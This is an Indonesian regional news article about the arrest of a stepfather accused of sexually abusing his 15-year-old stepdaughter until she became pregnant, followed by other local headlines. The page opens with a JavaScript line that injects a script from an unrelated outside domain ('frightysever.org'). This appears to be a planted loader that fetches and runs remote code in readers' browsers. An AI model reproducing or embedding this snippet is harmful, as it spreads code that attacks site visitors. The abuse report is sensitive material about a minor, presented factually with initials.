(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HST

Gauli Anak Hingga Bunting, Ayah Tiri Ditangkap Polres HST


BARABAI, Tindak asusila pencabulan di Kabupaten Hulu Sungai Utara (HST) terungkap. Gadis belia berumur 15 tahun, A, menjadi korban ayah tiri hingga bunting. Sang ayah tiri berinisial AH, tercatat sebagai warga desa Hapulang, Kecamatan Haruyan, Kabupaten Hulu Sungai Tengah (HST).

Cerita bermula ketika bulan Juni lalu, keluarga merasa curiga terhadap perubahan bentuk badan korban dan menanyakan langsung kepada A. Meski pada saat itu pihak keluarga hanya menanyakan perubahan bentuk badan saja, korban diketahui tengah mengandung ketika mendapatkan laporan dari keluarga yang berada di Banjarmasin, pada 6 Juli 2019.

“Beberapa hari setelah menanyakan kecurigaan, korban diketahui pergi ke Banjarmasin. Dari keluarga yang ada di Banjarmasin dikabarkan kalau korban sedang mengandung dan siapa yang melakukan perbuatannya,” ujar Kapolres HST AKBP Sabana Atmojo.

“Ternyata, AH yang adalah ayah tiri diduga melakukan perbuatan asusila itu,” kata Sabana Atmojo.

Setelah mendapatkan laporan dari keluarga korban, Polres HST melalui anggota Satuan Reserse dan Kriminal, melakukan penyelidikan. Hingga Sabtu (14/9), sekira pukul 04.00 Wita, pihak kepolisian akhirnya meringkus tersangka AH di Kabupaten Kutai Kartanegara, Provinsi Kaltim. Setelah sebelumnya sempat menjadi Daftar Pencarian Orang (DPO).

“Berdasarkan pengakuan korban sewaktu dimintai keterangan, diketahui tersangka mencabulinya sebanyak tiga kali,” tambahnya.

Kini, bersamaan dengan barang bukti yang sudah diamankan, tersangka bakal dijerat Pasal 81 Ayat (2) PERPU No. 1 Tahun 2016 Jo UU No. 17 Tahun 2016 Jo Pasal 76D UU No. 35 Tahun 2014 Tentang Perubahan Atas Undang-Undang Nomor 23 Tahun 2002 Tentang Perlindungan Anak dengan ancaman penjara 15 tahun penjara.

“Saya ucapkan terima kasih atas bantuan masyarakat sehingga tersangka dapat ditangkap. Dan untuk tersangka, akan diproses sesuai dengan hukum yang berlaku,” tuntasnya. (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

1 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

1 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

2 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

2 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

16 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

23 jam ago

This website uses cookies.